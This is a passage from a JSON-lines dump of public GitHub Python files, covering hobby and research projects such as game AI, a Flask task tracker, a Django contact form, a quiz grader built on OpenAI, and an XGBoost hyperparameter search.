\\\n and self.possible_moves[0].is_capture\n\n def move(self, move):\n '''\n Method -- move\n Move piece and to update State and Piece attributes.\n Parameters:\n self -- The current GameState object\n move -- Current moving piece\n '''\n start_location = move.start\n end_location = move.end\n start_piece = self.get_square_by_location(start_location)\n self.update_square(end_location, start_piece)\n self.update_square(start_location, None)\n\n # Update piece location set\n self.piece_locations_by_player[start_piece.color].remove(\n start_location)\n self.piece_locations_by_player[start_piece.color].add(end_location)\n\n if move.is_capture:\n # remove captured piece\n self.update_square(move.captured_location, None)\n enemy_color = self.get_enemy_color(start_piece.color)\n self.piece_locations_by_player[enemy_color].remove(\n move.captured_location)\n\n self.state = GameState.MOVE_STATE\n\n def who_wins(self):\n '''\n Method -- who_wins\n Determine which side wins\n Parameter:\n self -- The current GameState object\n '''\n for player in self.piece_locations_by_player.keys():\n piece_location_set = self.piece_locations_by_player[player]\n # win condition 1: no remaining enemy pieces\n if len(piece_location_set) == 0:\n return self.get_enemy_color(player)\n\n # win condition 2: no possible moves for enemy\n all_possible_moves = []\n for piece_location in piece_location_set:\n all_possible_moves.extend(\n self.find_possible_moves(piece_location))\n if len(all_possible_moves) == 0:\n return self.get_enemy_color(player)\n\n # No one wins if none of win conditions matches\n return None\n\n def get_enemy_color(self, player):\n '''\n Method -- get_enemy_color\n Find opposite color / player\n Parameters:\n self -- The current GameState object\n player -- Current player\n Returns:\n Opposite color / player\n '''\n if player == Piece.BLACK:\n return Piece.RED\n else:\n return Piece.BLACK\n\n def next_round(self):\n '''\n Method -- next_round\n Initialize after each round. Change current player.\n '''\n self.state = GameState.INITIAL_STATE\n self.possible_moves = []\n self.current_player = self.get_enemy_color(self.current_player)\n","repo_name":"YuUitea/Check-it-all","sub_path":"state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":11206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31513752573","text":"import praw\n\nfrom utils.formatter import format_msg\nfrom utils.queue import Queue\n\n\nclass Cache(Queue):\n def __init__(self, limit: int = 10000):\n super().__init__(limit=limit)\n self._reddit = None\n self.items_updated = 0\n\n async def update(self, obj, message):\n if isinstance(obj, praw.reddit.models.Submission):\n updated_obj = self._reddit.submission(id=obj.id)\n else:\n updated_obj = self._reddit.comment(id=obj.id)\n embed = format_msg(updated_obj, approved=updated_obj.approved, removed=updated_obj.removed)\n await message.edit(embed=embed)\n obj = self.queue.pop(0)\n if not (updated_obj.approved or updated_obj.removed):\n self.add(obj)\n else:\n await message.clear_reactions()\n self.items_updated += 1\n\n def purge(self, limit: int = 100):\n if len(self) <= 10:\n return\n if limit > len(self):\n limit = len(self) - 2\n self.queue = self.queue[int(limit//2):-(int(limit//2))]\n\n def update_reddit(self, reddit):\n self._reddit = reddit\n","repo_name":"No-Jons/modqueuestreamer","sub_path":"utils/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"32312631391","text":"from connect4_minimax_fast import minimax as minimax_v1\nfrom connect4_minimax_veryfast import minimax as minimax_v2,convert_to_bitstrings\n\nclass MiniMaxAlgo:\n\n def __init__(self, _searchDepth, aiPlayer, _useFast=False, _useVeryFast=False):\n\n assert _searchDepth > 2\n\n self.searchDepth = _searchDepth\n\n self.useFast = _useFast\n self.useVeryFast = _useVeryFast\n\n if aiPlayer == -1:\n self.selectionFunc = min\n elif aiPlayer == +1:\n self.selectionFunc = max\n else:\n assert False\n\n def getBestMove(self, game):\n\n self.cache = {}\n\n if self.useVeryFast:\n position, mask = convert_to_bitstrings(game.board)\n bestMove,bestCost = minimax_v2(position, mask, self.searchDepth)\n elif self.useFast:\n str_state = self.getStrState(game)\n bestMove,bestCost = minimax_v1(str_state, 'A', self.searchDepth, float('-inf'), float('+inf'), self.cache)\n else:\n bestMove,bestCost = self._minimax(game, self.selectionFunc, 0)\n\n print(f'best move cost= {bestCost}')\n print(f'moves searched= {len(self.cache)}')\n\n return bestMove\n\n def getStrState(self, game):\n board = game.board.board\n s = ''\n\n for i in range(5,-1,-1):\n for j in range(7):\n if board[i,j] == 1:\n s += 'H'\n elif board[i,j] == -1:\n s += 'A'\n else:\n s += ' '\n \n return s\n\n def _minimax(self, game, selectionFunc, depth):\n \n if depth > self.searchDepth:\n return None,game.cost()\n\n gameHash = game.getHash()\n\n if gameHash in self.cache:\n m,c,h = self.cache[gameHash]\n self.cache[gameHash] = (m, c, h+1)\n return (m,c)\n\n nextSelectionFunc = min if selectionFunc is max else max\n\n moves = game.getMoves()\n\n bestMove = -1\n bestCost = -1 * selectionFunc(float('-inf'), float('+inf'))\n for move in moves:\n\n nextGame = game.copy()\n nextGame.doMove(move)\n\n _,cost = self._minimax(nextGame, nextSelectionFunc, depth + 1)\n\n bestMove,bestCost = selectionFunc(((bestMove, bestCost),(move,cost)), key=lambda x: x[1])\n\n self.cache[gameHash] = (bestMove,bestCost, 0)\n\n return bestMove,bestCost\n ","repo_name":"atteahma/minimax-cracked","sub_path":"MiniMax/MiniMaxAlgo.py","file_name":"MiniMaxAlgo.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17942441571","text":"import streamlit as st\n\nfrom copy import deepcopy\nfrom io import BufferedReader\nfrom pathlib import Path\nfrom typing import Union\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom therapy_aid_tool.models.toddler import Toddler\nfrom therapy_aid_tool.models.video import Video\nfrom therapy_aid_tool.models.session import Session\n\nfrom therapy_aid_tool.DAOs.toddler_dao import ToddlerDAO\nfrom therapy_aid_tool.DAOs.video_dao import VideoDAO\nfrom therapy_aid_tool.DAOs.session_dao import SessionDAO\n\n\nROOT = Path(__file__).parents[0].resolve()\n\nDATABASE_DIR = ROOT/\"database\"\nDATABASE = DATABASE_DIR/\"sessions.db\"\n\nVIDEOS_DIR = DATABASE_DIR/\"videos\"\n\n\ndef save_user_video(video: BufferedReader, location: Union[str, Path]):\n \"\"\"Save the user uploaded video\n\n The type of the streamlit uploaded video is a \"UploadedFile\" but respects\n the Buffer protocol\n\n Args:\n video (BufferedReader): The user uploaded video to the streamlit app\n location (Union[str, Path]): Where to save this video\n \"\"\"\n with open(location, \"wb\") as f:\n f.write(video.read())\n\n\ndef video_fp_from_toddler_date(toddler: Toddler, date: str):\n \"\"\"Generate a filepath for a video with the toddler name\n and the date of the therapy session\n\n Args:\n toddler (Toddler): The toddler in the session\n date (str): The date of the session\n\n Returns:\n str: The generated video filepath according to toddler.name and date\n \"\"\"\n filepath = str(VIDEOS_DIR/f\"{'-'.join(toddler.name.split())}_{date}.mp4\")\n return filepath\n\n\ndef add_session(toddler: Toddler, video: Video, date: str):\n \"\"\"Add a session to the database\n\n If any of the three exists (toddler, video, session) in\n the database, the addition is not made and no error or\n exception is returned\n\n Args:\n toddler (Toddler): The toddler in the session\n video (Video): The video of the session\n date (str): The date of the session\n \"\"\"\n session = Session(toddler, video, date)\n ToddlerDAO(DATABASE).add(toddler)\n VideoDAO(DATABASE).add(video)\n SessionDAO(DATABASE).add(session)\n\n\ndef toddlers_names():\n \"\"\"Get a list of all toddlers names\n\n Returns:\n list[str]: the toddlers' names\n \"\"\"\n return ToddlerDAO(DATABASE).get_all_names()\n\n\ndef dates_from_name(name: str):\n \"\"\"Get a list of all sessions dates that a toddler appears\n \n Returns:\n list[str]: The session dates where a toddler appears\n \"\"\"\n return SessionDAO(DATABASE).get_dates_from_name(name)\n\n\ndef get_session(toddler_name: str, date: str):\n \"\"\"Get a session\n \n A session can be querrid from toddler and a date\n \n Returns:\n Session: The Session\n \"\"\"\n return SessionDAO(DATABASE).get(toddler_name, date)\n\n\ndef __sessions_from_name(toddler_name: str):\n \"\"\"Get list of all the sessions that a toddler is present\n\n Args:\n toddler_name (str): The name o the toddler \n\n Returns:\n list[Session]: The sessions the toddler is present\n \"\"\"\n return SessionDAO(DATABASE).get_all_from_name(toddler_name)\n\n\ndef __statistics_from_all_sessions(toddler_name: str):\n \"\"\"Get statistics from all sessions that a toddler is present\n\n It returns a dictionary of statistics where the keys are\n the three interactions classes (td_ct, td_pm, ct_pm) and\n the value for each key is a dictionary of lists, where\n those keys are the type of statistics and their value a list\n of that statistic over the sessions.\n\n Return example for 4 existing sessions:\n statistics = {\n 'td_ct': {'n_interactions': [int, int, int, int],\n 'min_time': [float, float, float, float],\n 'max_time': [float, float, float, float],\n 'mean_time': [float, float, float, float]},\n 'td_pm': ...,\n 'ct_pm': ...,\n }\n\n Args:\n toddler_name (str): The name of the toddler \n\n Returns:\n dict[str, dict[str, list[Unknown]]]: The statistics for all sessions\n \"\"\"\n sessions = __sessions_from_name(toddler_name)\n sessions = sorted(sessions, key=lambda ses: ses.date)\n \n # interactions statisics for each session\n separated_statistics = [session.video.interactions_statistics\n for session in sessions]\n\n data_template = {\n \"n_interactions\": [],\n \"total_time\": [],\n \"min_time\": [],\n \"max_time\": [],\n \"mean_time\": [],\n }\n statistics = {\n \"td_ct\": deepcopy(data_template),\n \"td_pm\": deepcopy(data_template),\n \"ct_pm\": deepcopy(data_template),\n }\n\n # Merge separated statistics for a class into lists over the sessions\n for sep_stat in separated_statistics:\n for inter_type, stat_group in sep_stat.items():\n for type_stat, stat_value in stat_group.items():\n statistics[inter_type][type_stat].append(stat_value)\n # Example: statistics['td_ct']['min_time'].append(float)\n return statistics\n\n\ndef plot_sessions_progress(toddler_name: str):\n \"\"\"Plots the progress of a toddler over the sessions they appear\n\n On the left y axis, plots about time statistics (min_time, max_time ...).\n On the right y axis, plot about counts (nº of interactions)\n\n Args:\n toddler_name (str): The name o the toddler\n \"\"\"\n statistics = __statistics_from_all_sessions(toddler_name)\n\n titles = {\n 'td_ct': 'Toddler-Caretaker',\n 'td_pm': 'Toddler-PlusMe',\n 'ct_pm': 'Caretaker-PlusMe',\n }\n\n stat_type = ['n_interactions', 'total_time',\n 'min_time', 'max_time', 'mean_time']\n color_map = plt.get_cmap(\"hsv\")\n colors = dict(zip(stat_type, color_map(np.linspace(0, 1, 6))))\n\n labels = {\n 'n_interactions': 'nº interactions',\n 'total_time': 'total time',\n 'min_time': 'min time',\n 'max_time': 'max time',\n 'mean_time': 'mean time',\n }\n\n n_sessions = len(statistics['td_ct']['n_interactions'])\n x = np.arange(1, n_sessions + 1)\n\n for inter_type, stat_group in statistics.items():\n fig, ax1 = plt.subplots(figsize=(14, 5))\n\n for stat_type, values in stat_group.items():\n ax = ax1\n leg_loc = \"upper left\"\n y_label = \"Seconds\"\n ax.set_title(titles[inter_type])\n ax.grid()\n ax.set_xlabel(\"Sessions\", loc=\"center\", fontweight=\"bold\")\n ax.set_xticks(range(1, n_sessions + 1))\n\n if stat_type == \"n_interactions\":\n ax2 = ax1.twinx()\n ax = ax2\n leg_loc = \"upper right\"\n y_label = \"Count\"\n\n ax.plot(x, values, \"o-\", alpha=1,\n color=colors[stat_type],\n label=labels[stat_type])\n ax.legend(loc=leg_loc)\n ax.set_ylabel(y_label, loc=\"top\", fontweight=\"bold\")\n\n st.pyplot(fig)\n","repo_name":"solisoares/therapy-aid-tool","sub_path":"st_controll.py","file_name":"st_controll.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"21843156776","text":"import openai\n\nfrom config import settings\n\n\nSYSTEM_TEACHER_PROMPT = \"\"\"\nYou're a teacher, which wants to check student's open-ended quizzes. \nBehave yourself friendly but at the same moment make sure students answer fully and only the question, which was given.\nYour main goal would be to give scores (in % out of 100% correct) \nfor each answer to the given question, and also to explain, why the score is as it is.\nAlso, you will be given an expected answer for the question - take it into account.\nPlease, give explanation always using Ukrainian language.\nAnd expect question/example/answers also to be in Ukrainian language.\nYou will be given the question, expected_answer and user_answer in the format:\nQ: {question}\nE: {expected_answer}\nA: {User_answer}\n\nAnd you need to answer:\nScore: {score}\nExplanation: {explanation}\n\"\"\"\n\nEXAMPLE_USER_PROMPT = \"\"\"\nQ: Що таке Пайтон?\nE: Пайтон - це мова програмування, що використовується для розробки веб-застосунків, аналізу даних та в машинному навчанні.\nA: Пайтон це найбільш ненависна мова програмування в світі.\n\"\"\"\n\nEXAMPLE_ASSISTANT_ANSWER = \"\"\"\nScore: 20%\nExplanation: Так, пайтон це мова програмування, проте, вона не найбільш ненависна в світі, а доволі гарна мова.\nТакож, не було дано жодної додаткової інформації про цю мову.\n\"\"\"\n\nTEMPERATURE = 0 # Randomness of the completions\n\n\nopenai.api_key = settings.OPENAI_API_KEY\n\n\ndef get_assistant_answer(\n question: str, expected_answer: str, user_answer: str\n) -> tuple[int, str]:\n prompt = f\"Q: {question}\\n E: {expected_answer}\\n A: {user_answer}\"\n\n completion = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": SYSTEM_TEACHER_PROMPT},\n {\"role\": \"user\", \"content\": EXAMPLE_USER_PROMPT},\n {\n \"role\": \"assistant\",\n \"content\": EXAMPLE_ASSISTANT_ANSWER,\n },\n {\"role\": \"user\", \"content\": prompt},\n ],\n temperature=TEMPERATURE,\n )\n\n message = completion[\"choices\"][0][\"message\"][\"content\"]\n score, *explanation = message.split(\"\\n\")\n explanation = \"\\n\".join(explanation)\n score = int(score.split()[1][:-1])\n explanation = explanation[len(\"Explanation: \") :]\n\n return score, explanation\n\n\nif __name__ == \"__main__\":\n print(\n get_assistant_answer(\n question=\"What are variables?\", answer=\"Variables are data\"\n )\n )\n","repo_name":"kseniia-grishchenko/auto-quiz-backend","sub_path":"openai_client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9495002297","text":"from flask import Flask, render_template, send_from_directory, make_response, request, redirect, Response, g, send_file\nimport click\nimport re\nfrom os.path import exists\nimport base64\nimport json\nimport redis\nimport os\nimport ssl,urllib\nimport random\nfrom loom.webapp.view import View\nfrom loom.graphdb import GraphDB\nimport loom\nimport sys\nfrom datetime import datetime as dt\n\n\napp = Flask(__name__)\n\ndef get_db() :\n if \"db\" not in g :\n g.db = GraphDB(\"localhost\", 7474, \"neo4j\", \"neo123\")\n return g.db\n\n\ndef parseAddTask(args) :\n title = None\n desc = None\n labels = None\n ttype = \"Task\"\n due = None\n\n for x in request.form :\n click.echo(\"GOT: %s : %s\" % (x, request.form.get(x)))\n\n\n title = request.form.get(\"title\")\n description=request.form.get(\"desc\")\n labels = request.form.getlist(\"labels\")\n ttype = request.form.get(\"nodeType\")\n\n newlabel = request.form.get(\"newlabel\")\n if newlabel is not None and len(newlabel.strip()) > 0 :\n labels.append(newlabel)\n\n \n if ttype is None : ttype = \"Task\"\n due = request.form.get(\"due_date\")\n if due :\n due = dt.strptime(due, \"%Y-%m-%d\")\n else :\n due = None\n \n return (ttype, title, description , labels, due)\n \n@app.route('/', methods=[\"GET\",\"POST\"])\n@app.route('/dashboard', methods=[\"GET\", \"POST\"])\ndef index():\n active = request.args.get(\"view\")\n if active is None :\n active = request.form.get(\"view\")\n if active is None or active.strip() == \"\" :\n active=\"dashboard\"\n\n filters = request.args.get(\"filters\")\n if filters is None :\n filters = \"\"\n\n newfilter = request.args.get(\"newfilter\")\n if newfilter is not None :\n filters += \"+\" + newfilter\n\n # break up filters into list\n action = request.form.get(\"action\")\n\n if active == \"goals\" :\n ttype = \"Goal\";\n elif active == \"ideas\" :\n ttype = \"Idea\";\n else :\n ttype = \"Task\";\n \n data=get_db()\n if action is not None and action == \"addnode\" :\n (ttype, title, description, labels, due) = parseAddTask(request.args)\n\n click.echo(\"Adding task: '%s','%s','%s'\" % (ttype, title, description))\n data.addTask(title, type=ttype,description=description, labels=labels, due=due)\n \n \n #click.echo(\"ACTIVE \" + active)\n return render_template('index.html', view=View(ttype),\n data=data, active=active,\n curreq=request.path,\n curfilters=filters)\n\n@app.route('/profile', methods=[\"GET\"])\ndef profile():\n return render_template('profile.html', view=View(\"Task\"), data=get_db())\n\n@app.route('/settings', methods=[\"GET\"])\ndef settings():\n return render_template('settings.html', view=View(\"Task\"), data=get_db())\n\n@app.route('/help', methods=[\"GET\"])\ndef help():\n return render_template('help.html', view=View(\"Task\"), data=get_db())\n\n\n@app.route('/graph', methods=[\"GET\"])\ndef graphview():\n return render_template('graph.html', view=View(\"Task\"), data=get_db())\n\n \n \n@app.route('/task/', methods=[\"GET\", \"POST\", \"DELETE\"])\ndef node_task(id):\n data=get_db()\n if request.method == \"GET\" :\n n = data.getNode(\"Task\", id)\n return Response(json.dumps(n.to_json()), mimetype='application/json')\n elif request.method == \"POST\" :\n content = request.get_json()\n data.updateNode(\"Task\", id, content)\n print(\"POST updating\", id, content);\n return Response(json.dumps({\"status\": \"ok\"}), mimetype='application/json')\n elif request.method == \"DELETE\" :\n click.echo(\"Got delete %s\" % (id))\n data.deleteNode(\"Task\", id)\n return Response(json.dumps({\"status\": \"ok\"}), mimetype='application/json') \n@app.route('/goal/', methods=[\"GET\", \"POST\", \"DELETE\"])\ndef node_goal(id):\n data=get_db()\n if request.method == \"GET\" :\n n = data.getNode(\"Goal\", id) \n return Response(json.dumps(n.to_json()), mimetype='application/json')\n elif request.method == \"POST\" :\n content = request.get_json()\n click.echo(\"Updating GOAL: \" + json.dumps(content))\n data.updateNode(\"Goal\", id, content)\n return Response(json.dumps({\"status\": \"ok\"}), mimetype='application/json')\n elif request.method == \"DELETE\" :\n click.echo(\"Got delete %s\" % (id))\n data.deleteNode(\"Goal\", id)\n return Response(json.dumps({\"status\": \"ok\"}), mimetype='application/json') \n","repo_name":"wintrode/loom","sub_path":"loom/webapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41194618718","text":"# construct dataset3d based on dataset.py\n\nimport torch\nfrom torch.utils.data import Dataset\n\n\nclass SpeakerDataset3D(Dataset):\n\n def __init__(self, train_dataset):\n # find out the num of wav whose frame>400 in each class, among 'train_dataset'\n num_of_class = 0\n utr_in_class = 0\n utr_in_classes = []\n for i in range(len(train_dataset)):\n if train_dataset[i][1] == num_of_class:\n utr_in_class += 1\n else:\n utr_in_classes.append(utr_in_class)\n utr_in_class = 1\n num_of_class += 1\n utr_in_classes.append(utr_in_class)\n\n new_data = []\n new_label = []\n for idx, utr_in_class in enumerate(utr_in_classes):\n num_data_new = int(utr_in_class / 5)\n if idx == 0:\n prev_num = 0\n else:\n prev_num = utr_in_classes[idx - 1]\n for i in range(num_data_new): # (3, 40, 400) -> (3, 40, 80, 5)\n tensors_new = [train_dataset[5 * i + prev_num + j][0].reshape((3, 40, 80, 5)) for j in range(4)]\n tensor_new = torch.cat(tensors_new, dim=3) # 4 * (3, 40, 80, 5) -> (3, 40, 80, 20)\n new_data.append(torch.transpose(tensor_new, 1, 3)) # (3, 40, 80, 20) -> (3, 20, 80, 40)\n new_label.append(idx)\n\n self.features = new_data\n self.classes = new_label\n\n def __getitem__(self, index):\n return self.features[index], self.classes[index]\n\n def __len__(self):\n return len(self.features)\n","repo_name":"Ming0818/srpipeline","sub_path":"data/dataset3d.py","file_name":"dataset3d.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23020752688","text":"from rest_framework import permissions\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom .models import Contact\nfrom django.core.mail import send_mail\n\nfrom django.conf import settings\nimport requests\n\n# ACTIVECAMPAIN\nactivecampaign_url = settings.ACTIVE_CAMPAIGN_URL\nactivecampaign_key = settings.ACTIVE_CAMPAIGN_KEY\n\nclass ContactCreateView(APIView):\n def post(self, request, format=None):\n data = self.request.data\n\n name = data['name']\n email= data['email']\n subject = data['subject']\n message = data['message']\n phone = data['phone']\n budget = data['budget']\n\n message_email = ('Name: ' + name +\n '\\nEmail: ' + email +\n '\\n\\n' + message +\n '\\n\\nTelefono: '+ phone+\n '\\nPrice: '+ budget)\n\n try:\n send_mail(\n subject,\n message_email,\n # quien manda\n 'lavoucra@gmail.com',\n # a quienes les llega \n ['mail@lemonpy.awsapps.com'],\n fail_silently=False\n )\n\n Contact.objects.create(\n name=name,\n email=email,\n subject=subject,\n phone=message,\n message=phone,\n budget=budget\n )\n\n\n# Contacto\n # Creando contacto ActiveCampaign\n url = activecampaign_url + '/api/3/contact/sync'\n\n # Envío\n data = {'contact':\n {\n 'email':email,\n 'firstName':name,\n 'phone': phone,\n }\n }\n\n headers={\n 'Accept':'application/json',\n 'Content-Type': 'application/json',\n 'Api-Token': activecampaign_key\n }\n\n\n\n response = requests.post(url, json=data, headers=headers)\n if response.status_code != 201 and response.status_code != 200:\n return Response({'error':'Ha ocurrido un error al crear el contacto'}, \n status= status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n contact = response.json()\n\n\n try:\n contact_id = str(contact['contact']['id'])\n\n except:\n return Response({'error':'Algo a ocurrido al traer el ID del contacto'},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n#TAG\n # URL tag create\n tag_url = activecampaign_url + '/api/3/contactTags'\n\n\n\n tag_data = {\n \"contactTag\": {\n \"contact\": contact_id,\n \"tag\": \"2\"\n }\n }\n\n response = requests.post(tag_url, json=tag_data, headers=headers)\n if response.status_code != 201 and response.status_code != 200:\n return Response({'error':'Ha ocurrido un error al añadir el tag'}, \n status= status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n#LIST\n list_url = activecampaign_url + '/api/3/contactLists'\n\n list_data = {\n \"contactList\": {\n \"list\": '1',\n \"contact\": contact_id,\n \"status\": 1\n }\n }\n print(list_data)\n response = requests.post(list_url, json=list_data, headers=headers)\n if response.status_code != 201 and response.status_code != 200:\n return Response({'error':'Ha ocurrido un error al añadir el contacto a la lista'}, \n status= status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n\n\n return Response({'success':'Mensaje enviado correctamente'})\n except:\n return Response({'error':'El mensaje no se ha podido enviar'})\n\n\n \n\n ","repo_name":"gastonfr24/lemon-py","sub_path":"apps/contacts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31923105945","text":"import os.path\nimport re\n\n\ndef _mal_sized_image_url(url, size):\n base, extension = os.path.splitext(url)\n return base + size + extension\n\n\ndef _mal_thumbnail_url(url):\n return _mal_sized_image_url(url, 't')\n\n\ndef _mal_poster_url(url):\n return _mal_sized_image_url(url, 'l')\n\n\nclass SeriesFormatter(object):\n\n _tags = {'ID', 'TYPE', 'TITLE', 'URL', 'SURL', 'LURL', 'IMG', 'SIMG', 'LIMG', 'SCORE', 'STATUS'}\n _pattern = re.compile('\\\\[(' + '|'.join(_tags) + ')\\\\]')\n\n def __init__(self, media_type):\n self._media_type = media_type\n self._id_key = 'series_{}db_id'.format(self._media_type.value)\n\n def _format_template(self, template, tags):\n def match_value(match):\n tag = match.group(1)\n return tags.get(tag, tag)\n\n return self._pattern.sub(match_value, template)\n\n def format_media(self, media, template):\n def lines():\n for medium in media:\n image_url = medium['series_image']\n thumbnail_url = _mal_thumbnail_url(image_url)\n poster_url = _mal_poster_url(image_url)\n\n tags = {\n 'ID': medium[self._id_key],\n 'TYPE': self._media_type.value,\n 'TITLE': medium['series_title'],\n 'URL': image_url,\n 'SURL': thumbnail_url,\n 'LURL': poster_url,\n 'IMG': image_url,\n 'SIMG': thumbnail_url,\n 'LIMG': thumbnail_url,\n 'SCORE': medium['my_score'],\n 'STATUS': medium['series_status']\n }\n\n yield self._format_template(template, tags)\n\n return '\\n'.join(lines())\n","repo_name":"Doomcat55/MalCat","sub_path":"malcat/legacy/malgen/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"42766651889","text":"import psycopg2.extras as p\n\nfrom data_test_ci.data_pipeline import run\nfrom data_test_ci.utils.db import WarehouseConnection\nfrom data_test_ci.utils.sde_config import get_warehouse_creds\n\n\nclass TestDataPipeline:\n def setup_method(self, test_data_pipeline):\n insert_query = '''\n INSERT INTO app.user (\n id\n )\n VALUES (\n %(id)s\n )\n '''\n user_fixture = [{'id': 1}, {'id': 2}, {'id': 3}, {'id': 4}]\n with WarehouseConnection(\n get_warehouse_creds()\n ).managed_cursor() as curr:\n p.execute_batch(curr, insert_query, user_fixture)\n\n def teardown_method(self, test_data_pipeline):\n with WarehouseConnection(\n get_warehouse_creds()\n ).managed_cursor() as curr:\n curr.execute(\"TRUNCATE TABLE app.user;\")\n curr.execute(\"TRUNCATE TABLE app.enriched_data;\")\n\n def test_data_pipeline(self):\n run()\n with WarehouseConnection(\n get_warehouse_creds()\n ).managed_cursor() as curr:\n curr.execute(\"Select id, name from app.enriched_data\")\n enriched_user_data = curr.fetchall()\n expected_data = [(1, 'John'), (2, 'Jane'), (3, 'Doe'), (4, 'no name')]\n assert enriched_user_data == expected_data\n","repo_name":"josephmachado/data_test_ci","sub_path":"test/integration/test_data_pipeline.py","file_name":"test_data_pipeline.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"12759723480","text":"from math import sqrt\nfrom threading import Thread, RLock, Condition\nN_THTREADS = 6\n\nclass Barrier:\n def __init__(self, n):\n self.target=n\n self.arrived = 0\n self.lock = RLock()\n self.cond = Condition(self.lock)\n\n def wait(self):\n with self.lock:\n self.arrived+=1\n\n if self.arrived == self.target:\n self.cond.notify_all()\n while self.arrived < self.target:\n self.cond.wait()\n\nclass MacinaPrimi(Thread):\n \n def __init__(self, _b):\n super().__init__()\n self.min = 0\n self.max = 0\n self.totale = 0\n self.b = _b\n \n \n def contaPrimi (self, min, max):\n n_primes = 0\n for i in range(min, max):\n if self.isPrime(i):\n n_primes+=1\n return n_primes\n\n def isPrime(self, num):\n if num<=2:\n return True\n for i in range(2, int(sqrt(num)+1)):\n if num%i==0:\n return False\n return True\n \n def set_limits(self, _min, _max):\n self.min=_min\n self.max=_max\n\n def get_totale(self):\n return self.totale\n\n def run(self):\n self.totale = self.contaPrimi(self.min, self.max)\n self.b.wait()\n\n\ndef divider(min, max):\n tot = 0\n remains = 0\n barr = Barrier(N_THTREADS+1)\n nth=N_THTREADS\n if (max-min)%N_THTREADS!=0:\n remains= (max-min)%N_THTREADS\n\n primer = [MacinaPrimi(barr) for i in range(N_THTREADS)]\n\n n_part = (max-min)//N_THTREADS\n\n for i in range(1, N_THTREADS+1):\n if i==1:\n primer[i-1].set_limits(min, min+n_part+remains)\n else:\n primer[i-1].set_limits(min+ n_part*(i-1) + remains+1, min + n_part*i + remains)\n \n for i in range(N_THTREADS):\n primer[i].start()\n \n barr.wait()\n for i in range(nth):\n tot+=primer[i].get_totale()\n\n return tot\n\nmin = int(input(\"inserire il limite inferiore dell'intervallo di cui si vuole calcolare il numero di numeri primi -> \"))\n\nmax = int(input(\"inserire il limite superiore dell'intervallo di cui si vuole calcolare il numero di numeri primi -> \"))\n\nprint(\"Tra %d e %d ci sono %d numeri primi.\" %(min, max,divider(min, max)))","repo_name":"CiccioGallo13/Operating_Systems","sub_path":"Exercises_Multithreaded/macina_primi.py","file_name":"macina_primi.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7832665686","text":"import EncoderFactory\nfrom DatasetManager import DatasetManager\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.pipeline import FeatureUnion\n\nimport time\nimport os\nimport sys\nfrom sys import argv\nimport pickle\n\nimport xgboost as xgb\n\nfrom hyperopt import Trials, STATUS_OK, tpe, fmin, hp\nimport hyperopt\nfrom hyperopt.pyll.base import scope\nfrom hyperopt.pyll.stochastic import sample\n\n\ndef create_and_evaluate_model(args):\n global trial_nr\n if trial_nr % 50 == 0:\n print(trial_nr)\n trial_nr += 1\n \n score = 0\n for current_train_names, current_test_names in dataset_manager.get_idx_split_generator(dt_for_splitting, n_splits=n_splits):\n \n train_idxs = case_ids.isin(current_train_names)\n X_train = X_all[train_idxs]\n y_train = y_all[train_idxs]\n X_test = X_all[~train_idxs]\n y_test = y_all[~train_idxs]\n \n cls = xgb.XGBClassifier(objective='binary:logistic',\n n_estimators=500,\n learning_rate= args['learning_rate'],\n subsample=args['subsample'],\n max_depth=int(args['max_depth']),\n colsample_bytree=args['colsample_bytree'],\n min_child_weight=int(args['min_child_weight']),\n seed=22,\n n_jobs=-1)\n \n cls.fit(X_train, y_train)\n preds_pos_label_idx = np.where(cls.classes_ == 1)[0][0]\n \n preds = cls.predict_proba(X_test)[:,preds_pos_label_idx]\n\n score += roc_auc_score(y_test, preds)\n return {'loss': -score / n_splits, 'status': STATUS_OK, 'model': cls}\n\n\nprint('Preparing data...')\nstart = time.time()\n\ndataset_name = argv[1] # prepared_bpic2017\nparams_dir = argv[2] #\n\ntrain_ratio = 0.8\nn_splits = 3\n\ntrial_nr = 1\n\n# create results directory\nif not os.path.exists(os.path.join(params_dir)):\n os.makedirs(os.path.join(params_dir))\n \n# read the data\ndataset_manager = DatasetManager(dataset_name)\ndata = dataset_manager.read_dataset()\n\nmin_prefix_length = 1\nif \"prepared_bpic2017\" in dataset_name:\n max_prefix_length = min(20, 